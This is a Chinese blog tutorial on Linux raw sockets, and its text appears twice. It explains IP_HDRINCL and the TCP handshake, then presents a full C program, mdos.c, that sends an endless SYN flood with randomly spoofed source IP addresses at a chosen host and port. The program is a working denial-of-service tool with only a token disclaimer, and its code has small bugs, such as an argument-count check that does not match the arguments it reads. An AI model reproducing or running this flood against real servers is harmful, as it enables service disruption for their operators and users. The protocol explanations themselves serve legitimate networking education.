Linux网络编程：原始套接字的魔力【上】
2015-04-10 16:21
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基于原始套接字编程
在开发面向连接的TCP和面向无连接的UDP程序时，我们所关心的核心问题在于数据收发层面，数据的传输特性由TCP或UDP来保证：
也就是说，对于TCP或UDP的程序开发，焦点在Data字段，我们没法直接对TCP或UDP头部字段进行赤裸裸的修改，当然还有IP头。换句话说，我们对它们头部操作的空间非常受限，只能使用它们已经开放给我们的诸如源、目的IP，源、目的端口等等。
今天我们讨论一下原始套接字的程序开发，用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说，进入正题。
原始套接字的创建方法也不难：socket(AF_INET,
SOCK_RAW, protocol)。
重点在protocol字段，这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值，注意：有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。
我们常见的有IPPROTO_TCP，IPPROTO_UDP和IPPROTO_ICMP，在博文“(十六)洞悉linux下的Netfilter&iptables：开发自己的hook函数【实战】(下)”中我们见到该protocol字段为IPPROTO_RAW时的情形，后面我们会详细介绍。
用这种方式我就可以得到原始的IP包了，然后就可以自定义IP所承载的具体协议类型，如TCP，UDP或ICMP，并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码，以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。
先简单复习一下TCP报文的格式，因为我们本身不是讲协议的设计思想，所以只会提及和我们接下来主题相关的字段，如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。
我们目前主要关注上面着色部分的字段就OK了，接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是：
(1) 第一次握手：建立连接时，客户端A发送SYN包(SEQ_NUMBER=j)到服务器B，并进入SYN_SEND状态，等待服务器B确认。
(2) 第二次握手：服务器B收到SYN包，必须确认客户A的SYN(ACK_NUMBER=j+1)，同时自己也发送一个SYN包(SEQ_NUMBER=k)，即SYN+ACK包，此时服务器B进入SYN_RECV状态。
(3) 第三次握手：客户端A收到服务器B的SYN＋ACK包，向服务器B发送确认包ACK(ACK_NUMBER=k+1)，此包发送完毕，客户端A和服务器B进入ESTABLISHED状态，完成三次握手。
至此3次握手结束，TCP通路就建立起来了，然后客户端与服务器开始交互数据。上面描述过程中，SYN包表示TCP数据包的标志位syn=1，同理，ACK表示TCP报文中标志位ack=1，SYN+ACK表示标志位syn=1和ack=1同时成立。
原始套接字还提供了一个非常有用的参数IP_HDRINCL：
1、当开启该参数时：我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项，但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的，不需要我们关心。
2、如果不开启该参数：我们所构造的报文是从IP首部之后的第一个字节开始，IP首部由内核自己维护，首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。
开启IP_HDRINCL特性的模板代码一般为：
constint on =1;
if(setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
}
所以，我们还得复习一下IP报文的首部格式：
同样，我们重点关注IP首部中的着色部分区段的填充情况。
有了上面的知识做铺垫，接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧：
点击(此处)折叠或打开
//mdos.c
#include
<stdlib.h>
#include
<stdio.h>
#include
<errno.h>
#include
<string.h>
#include
<unistd.h>
#include
<netdb.h>
#include
<sys/socket.h>
#include
<sys/types.h>
#include
<netinet/in.h>
#include
<netinet/ip.h>
#include
<arpa/inet.h>
#include
<linux/tcp.h>
//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in
*target,unsigned short srcport);
//如果什么都让内核做，那岂不是忒不爽了，咱也试着计算一下校验和。
unsigned short check_sum(unsigned short
*addr,int
len);
int main(int argc,char**
argv){
int skfd;
struct sockaddr_in target;
struct hostent
*host;
const
int on=1;
unsigned short srcport;
if(argc!=2)
{
printf("Usage:%s target dstport srcport\n",argv[0]);
exit(1);
}
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
target.sin_port=htons(atoi(argv[2]));
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr
*)(host->h_addr_list[0]);
}
//将协议字段置为IPPROTO_TCP，来创建一个TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//用模板代码来开启IP_HDRINCL特性，我们完全自己手动构造IP报文
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit(1);
}
//因为只有root用户才可以play with raw socket
:)
setuid(getpid());
srcport
= atoi(argv[3]);
attack(skfd,&target,srcport);
}
//在该函数中构造整个IP报文，最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in
*target,unsigned short srcport){
char buf[128]={0};
struct ip
*ip;
struct tcphdr
*tcp;
int ip_len;
//在我们TCP的报文中Data没有字段，所以整个IP报文的长度
ip_len
= sizeof(struct ip)+sizeof(struct tcphdr);
//开始填充IP首部
ip=(struct ip*)buf;
ip->ip_v
= IPVERSION;
ip->ip_hl
= sizeof(struct ip)>>2;
ip->ip_tos
= 0;
ip->ip_len
= htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
//开始填充TCP首部
tcp
= (struct tcphdr*)(buf+sizeof(struct ip));
tcp->source
= htons(srcport);
tcp->dest
= target->sin_port;
tcp->seq
= random();
tcp->doff
= 5;
tcp->syn
= 1;
tcp->check
= 0;
while(1){
//源地址伪造，我们随便任意生成个地址，让服务器一直等待下去
ip->ip_src.s_addr
= random();
tcp->check=check_sum((unsigned
short*)tcp,sizeof(struct tcphdr));
sendto(skfd,buf,ip_len,0,(struct
sockaddr*)target,sizeof(struct sockaddr_in));
}
}
//关于CRC校验和的计算，网上一大堆，我就“拿来主义”了
unsigned short check_sum(unsigned short
*addr,int
len){
register
int nleft=len;
register
int sum=0;
register short
*w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char
*)(&answer)=*(unsigned
char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
用前面我们自己编写TCP服务器端程序来做本地测试，看看效果。先把服务器端程序启动起来，如下：
然后，我们编写的“捣蛋”程序登场了：
该“mdos”命令执行一段时间后，服务器端的输出如下：
因为我们的源IP地址是随机生成的，源端口固定为8888，服务器端收到我们的SYN报文后，会为其分配一条连接资源，并将该连接的状态置为SYN_RECV，然后给客户端回送一个确认，并要求客户端再次确认，可我们却不再bird别个了，这样就会造成服务端一直等待直到超时。
备注：本程序仅供交流分享使用，不要做恶，不然后果自负哦。
最后补充一点，看到很多新手经常对struct ip{}和struct iphdr{}，struct icmp{}和struct icmphdr{}纠结来纠结去了，不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义，头文件中对这些结构也做了很明确的说明，这里我们简单总结一下：
structip{}、struct icmp{}是供BSD系统层使用，struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了，参见tcp.h和udp.h。
BSD和INET的解释在协议栈篇章详细论述，这里大家可以简单这样来理解：我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢？良好的编程习惯当然是BSD层推荐我们使用的，struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不？我只能说不建议。看个例子：
我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的，ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节，那么BSD层为什么是28字节呢？留给大家思考。也就是说，我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码：
点击(此处)折叠或打开
struct ip
*ip;
…
ip=(struct ip*)buf;
ip->ip_v
= IPVERSION;
ip->ip_hl
= sizeof(struct ip)>>2;
ip->ip_tos
= 0;
ip->ip_len
= htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
…
ip->ip_src.s_addr
= random();
改成：
点击(此处)折叠或打开
struct iphdr
*ip;
…
ip=(struct iphdr*)buf;
ip->version
= IPVERSION;
ip->ihl
= sizeof(struct ip)>>2;
ip->tos
= 0;
ip->tot_len
= htons(ip_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr=target->sin_addr.s_addr;
…
ip->saddr
= random();
结果请童鞋们自己验证。虽然结果一样，但在BSD层直接使用INET层的数据结构还是不被推荐的。
小结：
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数，但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。
在开发面向连接的TCP和面向无连接的UDP程序时，我们所关心的核心问题在于数据收发层面，数据的传输特性由TCP或UDP来保证：
也就是说，对于TCP或UDP的程序开发，焦点在Data字段，我们没法直接对TCP或UDP头部字段进行赤裸裸的修改，当然还有IP头。换句话说，我们对它们头部操作的空间非常受限，只能使用它们已经开放给我们的诸如源、目的IP，源、目的端口等等。
今天我们讨论一下原始套接字的程序开发，用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说，进入正题。
原始套接字的创建方法也不难：socket(AF_INET,
SOCK_RAW, protocol)。
重点在protocol字段，这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值，注意：有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。
我们常见的有IPPROTO_TCP，IPPROTO_UDP和IPPROTO_ICMP，在博文“(十六)洞悉linux下的Netfilter&iptables：开发自己的hook函数【实战】(下)”中我们见到该protocol字段为IPPROTO_RAW时的情形，后面我们会详细介绍。
用这种方式我就可以得到原始的IP包了，然后就可以自定义IP所承载的具体协议类型，如TCP，UDP或ICMP，并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码，以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。
先简单复习一下TCP报文的格式，因为我们本身不是讲协议的设计思想，所以只会提及和我们接下来主题相关的字段，如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。
我们目前主要关注上面着色部分的字段就OK了，接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是：
(1) 第一次握手：建立连接时，客户端A发送SYN包(SEQ_NUMBER=j)到服务器B，并进入SYN_SEND状态，等待服务器B确认。
(2) 第二次握手：服务器B收到SYN包，必须确认客户A的SYN(ACK_NUMBER=j+1)，同时自己也发送一个SYN包(SEQ_NUMBER=k)，即SYN+ACK包，此时服务器B进入SYN_RECV状态。
(3) 第三次握手：客户端A收到服务器B的SYN＋ACK包，向服务器B发送确认包ACK(ACK_NUMBER=k+1)，此包发送完毕，客户端A和服务器B进入ESTABLISHED状态，完成三次握手。
至此3次握手结束，TCP通路就建立起来了，然后客户端与服务器开始交互数据。上面描述过程中，SYN包表示TCP数据包的标志位syn=1，同理，ACK表示TCP报文中标志位ack=1，SYN+ACK表示标志位syn=1和ack=1同时成立。
原始套接字还提供了一个非常有用的参数IP_HDRINCL：
1、当开启该参数时：我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项，但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的，不需要我们关心。
2、如果不开启该参数：我们所构造的报文是从IP首部之后的第一个字节开始，IP首部由内核自己维护，首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。
开启IP_HDRINCL特性的模板代码一般为：
constint on =1;
if(setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
}
所以，我们还得复习一下IP报文的首部格式：
同样，我们重点关注IP首部中的着色部分区段的填充情况。
有了上面的知识做铺垫，接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧：
点击(此处)折叠或打开
//mdos.c
#include
<stdlib.h>
#include
<stdio.h>
#include
<errno.h>
#include
<string.h>
#include
<unistd.h>
#include
<netdb.h>
#include
<sys/socket.h>
#include
<sys/types.h>
#include
<netinet/in.h>
#include
<netinet/ip.h>
#include
<arpa/inet.h>
#include
<linux/tcp.h>
//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in
*target,unsigned short srcport);
//如果什么都让内核做，那岂不是忒不爽了，咱也试着计算一下校验和。
unsigned short check_sum(unsigned short
*addr,int
len);
int main(int argc,char**
argv){
int skfd;
struct sockaddr_in target;
struct hostent
*host;
const
int on=1;
unsigned short srcport;
if(argc!=2)
{
printf("Usage:%s target dstport srcport\n",argv[0]);
exit(1);
}
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
target.sin_port=htons(atoi(argv[2]));
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr
*)(host->h_addr_list[0]);
}
//将协议字段置为IPPROTO_TCP，来创建一个TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//用模板代码来开启IP_HDRINCL特性，我们完全自己手动构造IP报文
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit(1);
}
//因为只有root用户才可以play with raw socket
:)
setuid(getpid());
srcport
= atoi(argv[3]);
attack(skfd,&target,srcport);
}
//在该函数中构造整个IP报文，最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in
*target,unsigned short srcport){
char buf[128]={0};
struct ip
*ip;
struct tcphdr
*tcp;
int ip_len;
//在我们TCP的报文中Data没有字段，所以整个IP报文的长度
ip_len
= sizeof(struct ip)+sizeof(struct tcphdr);
//开始填充IP首部
ip=(struct ip*)buf;
ip->ip_v
= IPVERSION;
ip->ip_hl
= sizeof(struct ip)>>2;
ip->ip_tos
= 0;
ip->ip_len
= htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
//开始填充TCP首部
tcp
= (struct tcphdr*)(buf+sizeof(struct ip));
tcp->source
= htons(srcport);
tcp->dest
= target->sin_port;
tcp->seq
= random();
tcp->doff
= 5;
tcp->syn
= 1;
tcp->check
= 0;
while(1){
//源地址伪造，我们随便任意生成个地址，让服务器一直等待下去
ip->ip_src.s_addr
= random();
tcp->check=check_sum((unsigned
short*)tcp,sizeof(struct tcphdr));
sendto(skfd,buf,ip_len,0,(struct
sockaddr*)target,sizeof(struct sockaddr_in));
}
}
//关于CRC校验和的计算，网上一大堆，我就“拿来主义”了
unsigned short check_sum(unsigned short
*addr,int
len){
register
int nleft=len;
register
int sum=0;
register short
*w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char
*)(&answer)=*(unsigned
char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
用前面我们自己编写TCP服务器端程序来做本地测试，看看效果。先把服务器端程序启动起来，如下：
然后，我们编写的“捣蛋”程序登场了：
该“mdos”命令执行一段时间后，服务器端的输出如下：
因为我们的源IP地址是随机生成的，源端口固定为8888，服务器端收到我们的SYN报文后，会为其分配一条连接资源，并将该连接的状态置为SYN_RECV，然后给客户端回送一个确认，并要求客户端再次确认，可我们却不再bird别个了，这样就会造成服务端一直等待直到超时。
备注：本程序仅供交流分享使用，不要做恶，不然后果自负哦。
最后补充一点，看到很多新手经常对struct ip{}和struct iphdr{}，struct icmp{}和struct icmphdr{}纠结来纠结去了，不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义，头文件中对这些结构也做了很明确的说明，这里我们简单总结一下：
structip{}、struct icmp{}是供BSD系统层使用，struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了，参见tcp.h和udp.h。
BSD和INET的解释在协议栈篇章详细论述，这里大家可以简单这样来理解：我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢？良好的编程习惯当然是BSD层推荐我们使用的，struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不？我只能说不建议。看个例子：
我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的，ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节，那么BSD层为什么是28字节呢？留给大家思考。也就是说，我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码：
点击(此处)折叠或打开
struct ip
*ip;
…
ip=(struct ip*)buf;
ip->ip_v
= IPVERSION;
ip->ip_hl
= sizeof(struct ip)>>2;
ip->ip_tos
= 0;
ip->ip_len
= htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
…
ip->ip_src.s_addr
= random();
改成：
点击(此处)折叠或打开
struct iphdr
*ip;
…
ip=(struct iphdr*)buf;
ip->version
= IPVERSION;
ip->ihl
= sizeof(struct ip)>>2;
ip->tos
= 0;
ip->tot_len
= htons(ip_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr=target->sin_addr.s_addr;
…
ip->saddr
= random();
结果请童鞋们自己验证。虽然结果一样，但在BSD层直接使用INET层的数据结构还是不被推荐的。
小结：
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数，但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。
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